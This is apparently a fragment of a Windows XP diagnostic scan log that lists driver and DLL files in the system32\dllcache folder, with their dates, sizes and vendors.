      2017-10-29 11:09 - 2001-08-17 13:28 - 000727786 ____C (Xircom, Inc.) C:\WINDOWS\system32\dllcache\ltck000c.sys
      2017-10-29 11:09 - 2001-08-17 13:28 - 000576746 ____C (LT) C:\WINDOWS\system32\dllcache\ltmdmntl.sys
      2017-10-29 11:09 - 2001-08-17 12:50 - 000320384 ____C (Matrox Graphics Inc.) C:\WINDOWS\system32\dllcache\mgaum.sys
      2017-10-29 11:09 - 2001-08-17 12:50 - 000103296 ____C (Matrox Graphics Inc) C:\WINDOWS\system32\dllcache\mtxvideo.sys
      2017-10-29 11:09 - 2001-08-17 12:49 - 000022848 ____C (Logitech Inc.) C:\WINDOWS\system32\dllcache\lwusbhid.sys
      2017-10-29 11:09 - 2001-08-17 12:19 - 000048768 ____C (ESS Technology, Inc.) C:\WINDOWS\system32\dllcache\maestro.sys
      2017-10-29 11:09 - 2001-08-17 12:12 - 000164586 ____C (Madge Networks Ltd) C:\WINDOWS\system32\dllcache\mdgndis5.sys
      2017-10-29 11:09 - 2001-08-17 12:12 - 000070730 ____C (Linksys Group, Inc.) C:\WINDOWS\system32\dllcache\lne100tx.sys
      2017-10-29 11:09 - 2001-08-17 12:12 - 000026442 ____C (SMSC) C:\WINDOWS\system32\dllcache\lanepic5.sys
      2017-10-29 11:09 - 2001-08-17 12:12 - 000020573 ____C (The Linksts Group ) C:\WINDOWS\system32\dllcache\lne100.sys
      2017-10-29 11:09 - 2001-08-17 12:12 - 000019016 ____C (Kingston Technology Company ) C:\WINDOWS\system32\dllcache\ktc111.sys
      2017-10-29 11:09 - 2001-08-17 12:11 - 000025065 ____C (D-Link) C:\WINDOWS\system32\dllcache\lmndis3.sys
      2017-10-29 11:08 - 2008-08-21 14:00 - 010129408 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\hwxkor.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 010096640 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\hwxcht.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 001158818 ____C C:\WINDOWS\system32\dllcache\korwbrkr.lex
      2017-10-29 11:08 - 2008-08-21 14:00 - 000471102 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\imskdic.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000311359 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\imepadsv.exe
      2017-10-29 11:08 - 2008-08-21 14:00 - 000134339 ____C C:\WINDOWS\system32\dllcache\imekr.lex
      2017-10-29 11:08 - 2008-08-21 14:00 - 000102463 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\imepadsm.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000070656 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\korwbrkr.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000060928 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\iisclex4.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000059904 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\imkrinst.exe
      2017-10-29 11:08 - 2008-08-21 14:00 - 000057398 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\imjpdadm.exe
      2017-10-29 11:08 - 2008-08-21 14:00 - 000047066 ____C C:\WINDOWS\system32\dllcache\ksc.nls
      2017-10-29 11:08 - 2008-08-21 14:00 - 000045109 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\imjpuex.exe
      2017-10-29 11:08 - 2008-08-21 14:00 - 000044032 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\imekrmig.exe
      2017-10-29 11:08 - 2008-08-21 14:00 - 000019456 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\iiscrmap.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000018432 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\jupiw.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000009216 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdnecat.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000009216 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\iwrps.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000008704 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\infoctrs.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000007680 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdnecnt.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000007168 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdnec95.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000007168 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\isapips.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000006656 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\iissync.exe
      2017-10-29 11:08 - 2008-08-21 14:00 - 000006144 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdth3.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000006144 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdth2.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000006144 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdinpun.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000006144 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbd101a.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdvntc.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdusa.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdurdu.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdth1.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdth0.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdsyr2.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdsyr1.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdintel.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdintam.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdinmar.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdinkan.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdinhin.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdinguj.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdindev.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdheb.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdfa.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbddiv2.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbddiv1.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbda3.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbda2.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbda1.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000005120 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdgeo.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000005120 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdarmw.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000005120 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdarme.dll
      2017-10-29 11:08 - 2008-08-21 14:00 - 000003584 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\iismui.dll
      2017-10-29 11:08 - 2008-04-14 05:42 - 000151552 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\irftp.exe
      2017-10-29 11:08 - 2008-04-14 05:41 - 000702845 ____C (Intel(R) Corporation) C:\WINDOWS\system32\dllcache\i81xdnt5.dll
      2017-10-29 11:08 - 2008-04-14 05:41 - 000253952 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kdsusd.dll
      2017-10-29 11:08 - 2008-04-14 05:41 - 000048640 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kdsui.dll
      2017-10-29 11:08 - 2008-04-14 05:41 - 000028160 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\irmon.dll
      2017-10-29 11:08 - 2008-04-14 05:39 - 000006144 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbd106.dll
      2017-10-29 11:08 - 2008-04-14 00:24 - 000088192 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\irda.sys
      2017-10-29 11:08 - 2008-04-14 00:11 - 000018560 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\i2omp.sys
      2017-10-29 11:08 - 2008-04-14 00:11 - 000008576 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\i2omgmt.sys
      2017-10-29 11:08 - 2008-04-14 00:10 - 000005504 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\intelide.sys
      2017-10-29 11:08 - 2008-04-13 22:04 - 000161020 ____C (Intel(R) Corporation) C:\WINDOWS\system32\dllcache\i81xnt5.sys
      2017-10-29 11:08 - 2001-08-17 22:36 - 000372824 ____C (Xircom) C:\WINDOWS\system32\dllcache\iconf32.dll
      2017-10-29 11:08 - 2001-08-17 22:36 - 000091136 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\icam4com.dll
      2017-10-29 11:08 - 2001-08-17 22:36 - 000090200 ____C (Perle Systems Ltd. ) C:\WINDOWS\system32\dllcache\io8ports.dll
      2017-10-29 11:08 - 2001-08-17 22:36 - 000061952 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\icam4ext.dll
      2017-10-29 11:08 - 2001-08-17 22:36 - 000045056 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\icam5com.dll
      2017-10-29 11:08 - 2001-08-17 22:36 - 000037376 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kousd.dll
      2017-10-29 11:08 - 2001-08-17 22:36 - 000026624 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\icam3ext.dll
      2017-10-29 11:08 - 2001-08-17 22:36 - 000020480 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\icam5ext.dll
      2017-10-29 11:08 - 2001-08-17 22:36 - 000008704 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdjpn.dll
      2017-10-29 11:08 - 2001-08-17 22:36 - 000008192 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbdkor.dll
      2017-10-29 11:08 - 2001-08-17 22:34 - 000009216 ____C (IBM Corporation) C:\WINDOWS\system32\dllcache\ibmsgnet.dll
      2017-10-29 11:08 - 2001-08-17 14:56 - 000353184 ____C (Intel Corporation) C:\WINDOWS\system32\dllcache\i740dnt5.dll
      2017-10-29 11:08 - 2001-08-17 14:55 - 000006144 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbd101c.dll
      2017-10-29 11:08 - 2001-08-17 14:55 - 000006144 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbd101b.dll
      2017-10-29 11:08 - 2001-08-17 14:55 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\kbd103.dll
      2017-10-29 11:08 - 2001-08-17 14:06 - 000154496 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\icam4usb.sys
      2017-10-29 11:08 - 2001-08-17 14:06 - 000100992 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\icam5usb.sys
      2017-10-29 11:08 - 2001-08-17 14:06 - 000038528 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ibmvcap.sys
      2017-10-29 11:08 - 2001-08-17 14:05 - 000141056 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\icam3.sys
      2017-10-29 11:08 - 2001-08-17 13:52 - 000016000 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ini910u.sys
      2017-10-29 11:08 - 2001-08-17 13:51 - 000018688 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\irsir.sys
      2017-10-29 11:08 - 2001-08-17 13:50 - 000038784 ____C (Perle Systems Ltd. ) C:\WINDOWS\system32\dllcache\io8.sys
      2017-10-29 11:08 - 2001-08-17 13:49 - 000026624 ____C (SigmaTel, Inc.) C:\WINDOWS\system32\dllcache\irstusb.sys
      2017-10-29 11:08 - 2001-08-17 13:49 - 000023552 ____C (MKNet Corporation) C:\WINDOWS\system32\dllcache\irmk7.sys
      2017-10-29 11:08 - 2001-08-17 13:47 - 000013056 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\inport.sys
      2017-10-29 11:08 - 2001-08-17 12:49 - 000058592 ____C (Intel Corporation) C:\WINDOWS\system32\dllcache\i740nt5.sys
      2017-10-29 11:08 - 2001-08-17 12:12 - 000109085 ____C (IBM Corporation) C:\WINDOWS\system32\dllcache\ibmtrp.sys
      2017-10-29 11:08 - 2001-08-17 12:12 - 000100936 ____C (IBM Corporation) C:\WINDOWS\system32\dllcache\ibmtok.sys
      2017-10-29 11:08 - 2001-08-17 12:12 - 000045632 ____C (Interphase (R) Corporation a Windows (R) 2000 DDK Driver Provider) C:\WINDOWS\system32\dllcache\ip5515.sys
      2017-10-29 11:08 - 2001-08-17 12:11 - 000028700 ____C (IBM Corp.) C:\WINDOWS\system32\dllcache\ibmexmp.sys
      2017-10-29 11:07 - 2008-08-21 14:00 - 000132608 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\fxsclntr.dll
      2017-10-29 11:07 - 2008-08-21 14:00 - 000111104 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\fxscfgwz.dll
      2017-10-29 11:07 - 2008-08-21 14:00 - 000108827 ____C C:\WINDOWS\system32\dllcache\hanja.lex
      2017-10-29 11:07 - 2008-08-21 14:00 - 000036864 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\hanjadic.dll
      2017-10-29 11:07 - 2008-08-21 14:00 - 000031744 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\fxsroute.dll
      2017-10-29 11:07 - 2008-08-21 14:00 - 000014848 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\flattemp.exe
      2017-10-29 11:07 - 2008-08-21 14:00 - 000011264 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\fxssend.exe
      2017-10-29 11:07 - 2008-08-21 14:00 - 000007680 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ftpctrs2.dll
      2017-10-29 11:07 - 2008-08-21 14:00 - 000006144 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ftlx041e.dll
      2017-10-29 11:07 - 2008-04-14 00:15 - 000059136 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\gckernel.sys
      2017-10-29 11:07 - 2008-04-14 00:15 - 000010624 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\gameenum.sys
      2017-10-29 11:07 - 2008-04-14 00:10 - 000028288 ____C (Gemplus) C:\WINDOWS\system32\dllcache\grserial.sys
      2017-10-29 11:07 - 2008-04-14 00:06 - 000020352 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\hidbatt.sys
      2017-10-29 11:07 - 2008-04-13 22:05 - 000034173 ____C (Marconi Communications, Inc.) C:\WINDOWS\system32\dllcache\forehe.sys
      2017-10-29 11:07 - 2001-08-17 22:36 - 000324608 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\hpojwia.dll
      2017-10-29 11:07 - 2001-08-17 22:36 - 000165888 ____C () C:\WINDOWS\system32\dllcache\hpgt53.dll
      2017-10-29 11:07 - 2001-08-17 22:36 - 000126976 ____C (Hewlett Packard) C:\WINDOWS\system32\dllcache\hpgt34tk.dll
      2017-10-29 11:07 - 2001-08-17 22:36 - 000123392 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\hpgt21tk.dll
      2017-10-29 11:07 - 2001-08-17 22:36 - 000119296 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\hpdigwia.dll
      2017-10-29 11:07 - 2001-08-17 22:36 - 000101376 ____C () C:\WINDOWS\system32\dllcache\hpgt34.dll
      2017-10-29 11:07 - 2001-08-17 22:36 - 000093696 ____C () C:\WINDOWS\system32\dllcache\hpgt42.dll
      2017-10-29 11:07 - 2001-08-17 22:36 - 000092160 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\fuusd.dll
      2017-10-29 11:07 - 2001-08-17 22:36 - 000089088 ____C () C:\WINDOWS\system32\dllcache\hpgt33.dll
      2017-10-29 11:07 - 2001-08-17 22:36 - 000083968 ____C () C:\WINDOWS\system32\dllcache\hpgt21.dll
      2017-10-29 11:07 - 2001-08-17 22:36 - 000071680 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\fnfilter.dll
      2017-10-29 11:07 - 2001-08-17 22:36 - 000068608 ____C (Avisioin) C:\WINDOWS\system32\dllcache\hpgt53tk.dll
      2017-10-29 11:07 - 2001-08-17 22:36 - 000048128 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\hpgt33tk.dll
      2017-10-29 11:07 - 2001-08-17 22:36 - 000043520 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\EXCH_fcachdll.dll
      2017-10-29 11:07 - 2001-08-17 22:36 - 000032768 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\hpgtmcro.dll
      2017-10-29 11:07 - 2001-08-17 22:36 - 000031232 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\hpgt42tk.dll
      2017-10-29 11:07 - 2001-08-17 22:36 - 000019456 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\hr1w.dll
      2017-10-29 11:07 - 2001-08-17 22:36 - 000013312 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\hpsjmcro.dll
      2017-10-29 11:07 - 2001-08-17 22:36 - 000009759 ____C (Conexant) C:\WINDOWS\system32\dllcache\hsf_inst.dll
      2017-10-29 11:07 - 2001-08-17 14:56 - 001733120 ____C (Matrox Graphics Inc.) C:\WINDOWS\system32\dllcache\g400d.dll
      2017-10-29 11:07 - 2001-08-17 14:56 - 000470144 ____C (Matrox Graphics Inc.) C:\WINDOWS\system32\dllcache\g200d.dll
      2017-10-29 11:07 - 2001-08-17 14:07 - 000025952 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\hpn.sys
      2017-10-29 11:07 - 2001-08-17 14:02 - 000008576 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\hidgame.sys
      2017-10-29 11:07 - 2001-08-17 14:02 - 000002688 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\hidswvd.sys
      2017-10-29 11:07 - 2001-08-17 13:52 - 000005760 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\hpt4qic.sys
      2017-10-29 11:07 - 2001-08-17 13:51 - 000082304 ____C (Gemplus) C:\WINDOWS\system32\dllcache\grclass.sys
      2017-10-29 11:07 - 2001-08-17 13:51 - 000017408 ____C (Gemplus) C:\WINDOWS\system32\dllcache\gpr400.sys
      2017-10-29 11:07 - 2001-08-17 13:28 - 000907456 ____C (Conexant) C:\WINDOWS\system32\dllcache\hcf_msft.sys
      2017-10-29 11:07 - 2001-08-17 13:28 - 000542879 ____C (Conexant) C:\WINDOWS\system32\dllcache\hsf_msft.sys
      2017-10-29 11:07 - 2001-08-17 13:28 - 000488383 ____C (Conexant) C:\WINDOWS\system32\dllcache\hsf_v124.sys
      2017-10-29 11:07 - 2001-08-17 13:28 - 000391199 ____C (Conexant) C:\WINDOWS\system32\dllcache\hsf_k56k.sys
      2017-10-29 11:07 - 2001-08-17 13:28 - 000289887 ____C (Conexant) C:\WINDOWS\system32\dllcache\hsf_fall.sys
      2017-10-29 11:07 - 2001-08-17 13:28 - 000199711 ____C (Conexant) C:\WINDOWS\system32\dllcache\hsf_faxx.sys
      2017-10-29 11:07 - 2001-08-17 13:28 - 000150239 ____C (Conexant) C:\WINDOWS\system32\dllcache\hsf_amos.sys
      2017-10-29 11:07 - 2001-08-17 13:28 - 000115807 ____C (Conexant) C:\WINDOWS\system32\dllcache\hsf_fsks.sys
      2017-10-29 11:07 - 2001-08-17 13:28 - 000073279 ____C (Conexant) C:\WINDOWS\system32\dllcache\hsf_spkp.sys
      2017-10-29 11:07 - 2001-08-17 13:28 - 000067167 ____C (Conexant) C:\WINDOWS\system32\dllcache\hsf_bsc2.sys
      2017-10-29 11:07 - 2001-08-17 13:28 - 000057471 ____C (Conexant) C:\WINDOWS\system32\dllcache\hsf_samp.sys
      2017-10-29 11:07 - 2001-08-17 13:28 - 000050751 ____C (Conexant) C:\WINDOWS\system32\dllcache\hsf_tone.sys
      2017-10-29 11:07 - 2001-08-17 13:28 - 000044863 ____C (Conexant) C:\WINDOWS\system32\dllcache\hsf_soar.sys
      2017-10-29 11:07 - 2001-08-17 12:49 - 000322432 ____C (Matrox Graphics Inc.) C:\WINDOWS\system32\dllcache\g400m.sys
      2017-10-29 11:07 - 2001-08-17 12:49 - 000320384 ____C (Matrox Graphics Inc.) C:\WINDOWS\system32\dllcache\g200m.sys
      2017-10-29 11:07 - 2001-08-17 12:15 - 000455680 ____C (AVM GmbH) C:\WINDOWS\system32\dllcache\fus2base.sys
      2017-10-29 11:07 - 2001-08-17 12:15 - 000455296 ____C (AVM GmbH) C:\WINDOWS\system32\dllcache\fusbbase.sys
      2017-10-29 11:07 - 2001-08-17 12:15 - 000454912 ____C (AVM GmbH) C:\WINDOWS\system32\dllcache\fxusbase.sys
      2017-10-29 11:07 - 2001-08-17 12:15 - 000442240 ____C (AVM GmbH) C:\WINDOWS\system32\dllcache\fpnpbase.sys
      2017-10-29 11:07 - 2001-08-17 12:14 - 000444416 ____C (AVM GmbH) C:\WINDOWS\system32\dllcache\fpcibase.sys
      2017-10-29 11:07 - 2001-08-17 12:14 - 000441728 ____C (AVM GmbH) C:\WINDOWS\system32\dllcache\fpcmbase.sys
      2017-10-29 11:07 - 2001-08-17 12:13 - 000027165 ____C (VIA Technologies, Inc. ) C:\WINDOWS\system32\dllcache\fetnd5.sys
      2017-10-29 11:07 - 2001-08-17 12:10 - 000022090 ____C (3Com Corporation) C:\WINDOWS\system32\dllcache\fem556n5.sys
      2017-10-29 11:06 - 2008-08-21 14:00 - 000514587 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\edb500.dll
      2017-10-29 11:06 - 2008-08-21 14:00 - 000057856 ____C (SEIKO EPSON CORP.) C:\WINDOWS\system32\dllcache\esuimgd.dll
      2017-10-29 11:06 - 2008-08-21 14:00 - 000045056 ____C (SEIKO EPSON CORP.) C:\WINDOWS\system32\dllcache\esunid.dll
      2017-10-29 11:06 - 2008-08-21 14:00 - 000031744 ____C (SEIKO EPSON CORP.) C:\WINDOWS\system32\dllcache\esucmd.dll
      2017-10-29 11:06 - 2008-08-21 14:00 - 000025856 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\et4000.sys
      2017-10-29 11:06 - 2008-04-14 00:10 - 000008320 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\dlttape.sys
      2017-10-29 11:06 - 2008-04-14 00:09 - 000206976 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\dot4.sys
      2017-10-29 11:06 - 2008-04-13 22:06 - 000137088 ____C (ESS Technology, Inc.) C:\WINDOWS\system32\dllcache\essm2e.sys
      2017-10-29 11:06 - 2001-08-17 22:36 - 000614429 ____C (Digi International Inc.) C:\WINDOWS\system32\dllcache\digiview.exe
      2017-10-29 11:06 - 2001-08-17 22:36 - 000419357 ____C (Digi International) C:\WINDOWS\system32\dllcache\dgconfig.dll
      2017-10-29 11:06 - 2001-08-17 22:36 - 000256512 ____C (Creative Technology Ltd.) C:\WINDOWS\system32\dllcache\devcon32.dll
      2017-10-29 11:06 - 2001-08-17 22:36 - 000236060 ____C (Eicon Technology) C:\WINDOWS\system32\dllcache\ditrace.exe
      2017-10-29 11:06 - 2001-08-17 22:36 - 000229462 ____C (Digi International Inc.) C:\WINDOWS\system32\dllcache\digifwrk.dll
      2017-10-29 11:06 - 2001-08-17 22:36 - 000159828 ____C (Digi International Inc.) C:\WINDOWS\system32\dllcache\digihlc.dll
      2017-10-29 11:06 - 2001-08-17 22:36 - 000131156 ____C (Digi International Inc.) C:\WINDOWS\system32\dllcache\digidbp.dll
      2017-10-29 11:06 - 2001-08-17 22:36 - 000110621 ____C (Digi International, Inc.) C:\WINDOWS\system32\dllcache\digirlpt.dll
      2017-10-29 11:06 - 2001-08-17 22:36 - 000110592 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\dc260usd.dll
      2017-10-29 11:06 - 2001-08-17 22:36 - 000102484 ____C (Digi International Inc.) C:\WINDOWS\system32\dllcache\digiinf.dll
      2017-10-29 11:06 - 2001-08-17 22:36 - 000086016 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\dc240usd.dll
      2017-10-29 11:06 - 2001-08-17 22:36 - 000080896 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\dc210usd.dll
      2017-10-29 11:06 - 2001-08-17 22:36 - 000065622 ____C (Digi International Inc.) C:\WINDOWS\system32\dllcache\digiasyn.dll
      2017-10-29 11:06 - 2001-08-17 22:36 - 000061952 ____C (Equinox Systems Inc.) C:\WINDOWS\system32\dllcache\eqnloop.exe
      2017-10-29 11:06 - 2001-08-17 22:36 - 000053248 ____C (Equinox Systems Inc.) C:\WINDOWS\system32\dllcache\eqndiag.exe
      2017-10-29 11:06 - 2001-08-17 22:36 - 000051200 ____C (Equinox Systems Inc.) C:\WINDOWS\system32\dllcache\eqnlogr.exe
      2017-10-29 11:06 - 2001-08-17 22:36 - 000045568 ____C (SEIKO EPSON CORP.) C:\WINDOWS\system32\dllcache\esunib.dll
      2017-10-29 11:06 - 2001-08-17 22:36 - 000045568 ____C (SEIKO EPSON CORP.) C:\WINDOWS\system32\dllcache\esuni.dll
      2017-10-29 11:06 - 2001-08-17 22:36 - 000043008 ____C (SEIKO EPSON CORP.) C:\WINDOWS\system32\dllcache\esucm.dll
      2017-10-29 11:06 - 2001-08-17 22:36 - 000041046 ____C (Digi International Inc.) C:\WINDOWS\system32\dllcache\digiisdn.dll
      2017-10-29 11:06 - 2001-08-17 22:36 - 000038985 ____C (Eicon Technology) C:\WINDOWS\system32\dllcache\disrvsu.dll
      2017-10-29 11:06 - 2001-08-17 22:36 - 000037962 ____C C:\WINDOWS\system32\dllcache\divaprop.dll
      2017-10-29 11:06 - 2001-08-17 22:36 - 000034816 ____C (SEIKO EPSON CORP.) C:\WINDOWS\system32\dllcache\esuimg.dll
      2017-10-29 11:06 - 2001-08-17 22:36 - 000031305 ____C (Eicon Technology) C:\WINDOWS\system32\dllcache\disrvpp.dll
      2017-10-29 11:06 - 2001-08-17 22:36 - 000029768 ____C C:\WINDOWS\system32\dllcache\divasu.dll
      2017-10-29 11:06 - 2001-08-17 22:36 - 000025600 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\dc210_32.dll
      2017-10-29 11:06 - 2001-08-17 22:36 - 000024064 ____C (Creative Technology Ltd.) C:\WINDOWS\system32\dllcache\devldr32.exe
      2017-10-29 11:06 - 2001-08-17 22:36 - 000006729 ____C (Eicon Technology) C:\WINDOWS\system32\dllcache\disrvci.dll
      2017-10-29 11:06 - 2001-08-17 22:36 - 000006216 ____C C:\WINDOWS\system32\dllcache\divaci.dll
      2017-10-29 11:06 - 2001-08-17 14:07 - 000020192 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\dpti2o.sys
      2017-10-29 11:06 - 2001-08-17 13:53 - 000007296 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\elmsmc.sys
      2017-10-29 11:06 - 2001-08-17 13:52 - 000007424 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\ddsmc.sys
      2017-10-29 11:06 - 2001-08-17 13:52 - 000007040 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\exabyte2.sys
      2017-10-29 11:06 - 2001-08-17 13:50 - 000144896 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\epcfw2k.sys
